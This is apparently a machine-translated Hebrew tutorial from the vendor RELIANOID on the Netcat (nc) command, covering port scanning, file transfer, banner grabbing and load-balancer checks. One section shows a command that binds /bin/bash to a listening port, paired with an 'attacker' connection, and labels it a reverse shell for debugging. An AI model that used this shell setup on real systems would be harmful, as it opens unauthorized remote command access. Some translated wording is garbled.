הלינוקס nc פקודה (Netcat) #
הלינוקס nc הפקודה (Netcat) היא כלי רשת רב-תכליתי המשמש לתקשורת רשת, ניפוי שגיאות ובדיקות. היא יכולה לשמש כלקוח או שרת פשוט, ותומכת בקריאה וכתיבה של נתונים דרך TCP או UDP. היא מכונה "האולר השוויצרי" של הרשתות, nc נמצא בשימוש נרחב למשימות כמו סריקת פורטים, העברת קבצים ובדיקת שירותי רשת.
שימוש מפתח ותחביר של nc פיקוד #
התחביר הבסיסי של ה nc הפקודה היא:
nc [OPTIONS] [HOST] [PORT]
- אפשרויותדגלים לשליטה בהתנהגות של
nc. - HOST: מארח היעד עבור החיבור.
- נמלמספר יציאת היעד.
nc טבלת Cheatsheet של פקודות #
| פיקוד | תיאור |
nc -zv example.com 80 |
בדוק אם פורט 80 פועל example.com פתוח (מצב מפורט). |
nc -l 1234 |
הפעל מאזין בפורט 1234. |
nc example.com 80 |
התחבר לפורט 80 ב example.com (למשל, כדי לשלוח בקשות HTTP). |
nc -u example.com 1234 |
שלח נתונים לפורט UDP 1234 ב example.com. |
nc -l -p 8080 |
הפעל שרת שמאזין בפורט 8080. |
echo "Hello" | nc example.com 1234 |
לשלוח את ההודעה Hello ל example.com על יציאה 1234. |
מקרים לשימוש נפוץ #
1. סריקת פורטים #
nc -zv example.com 20-25
פקודה זו סורקת את פורטים 20 עד 25 ב example.com ומוציא את הסטטוס שלהם.
2. הגדרת צ'אט פשוט #
הגדרת צ'אט פשוט בין שתי מערכות:
במערכת הראשונה: #
nc -l -p 1234
על המערכת השנייה: #
nc HOSTNAME 1234
חלף HOSTNAME עם כתובת ה-IP של המערכת הראשונה.
3. העברת קבצים #
העברת קבצים בין שתי מערכות באמצעות nc:
שולח: #
cat file.txt | nc -q 0 HOSTNAME 1234
מקלט: #
nc -l -p 1234 > file.txt
4. תפיסת באנרים #
אחזור מידע שירות משרת מרוחק:
nc example.com 80
סוּג HEAD / HTTP/1.0 ולחץ Enter פעמיים כדי להציג את כותרות ה-HTTP.
שימוש מתקדם #
קישוריות UDP #
בדיקת קישוריות UDP ליעד:
nc -u example.com 1234
זה שולח נתונים לפורט UDP 1234 ב example.com.
לאגד מעטפת #
צור מעטפת הפוכה פשוטה עבור ניפוי שגיאות:
במחשב המרוחק: #
nc -l -p 4444 -e /bin/bash
על המכונה של התוקף: #
nc TARGET 4444
שימוש מאובטח ב-Netcat #
לשיפור האבטחה, השתמש בגרסה הקריפטוגרפית של nc (לְמָשָׁל, ncat עם SSL).
שימוש nc עם RELIANOID זמינה לכם כאן בישראל #
In RELIANOIDתשתית הרשת של, nc יכול לשמש למטרות אבחון ותפעול שונות:
1. בדיקת קישוריות מאזן עומסים #
nc -zv loadbalancer.realianoid.local 80
ודא שמאזן העומסים מקבל תעבורה בפורט 80.
2. ניטור שירותי Backend #
בדוק במהירות את מצב שרתי ה-backend:
nc -zv backend1.realianoid.local 8080
פעולה זו בודקת אם שירות ה-backend ניתן להגעה בפורט 8080.
3. אימות העברת שרת פרוקסי #
בדוק האם שרת הפרוקסי מעביר את התעבורה בצורה נכונה:
nc proxy.realianoid.local 443
4. ניפוי באגים בפרוטוקולים מותאמים אישית #
השתמש nc לאתר באגים או לדמות אינטראקציות עם פרוטוקולים מותאמים אישית ב RELIANOIDהסביבה של.
nc -l -p 5555
הגדר מאזין לבדיקת הודעות פרוטוקול.
<br> סיכום #
השמיים nc פקודת (Netcat) היא כלי הכרחי עבור אנשי מקצוע בתחום הרשתות. היכולת שלה לסרוק פורטים, להעביר קבצים ולנתח באגים בקישוריות הופכת אותה לאידיאלית עבור יישומים רב-תכליתיים. מינוף nc עם RELIANOID תשתית מסייעת להבטיח ביצועי רשת חזקים ופתרון בעיות מהיר.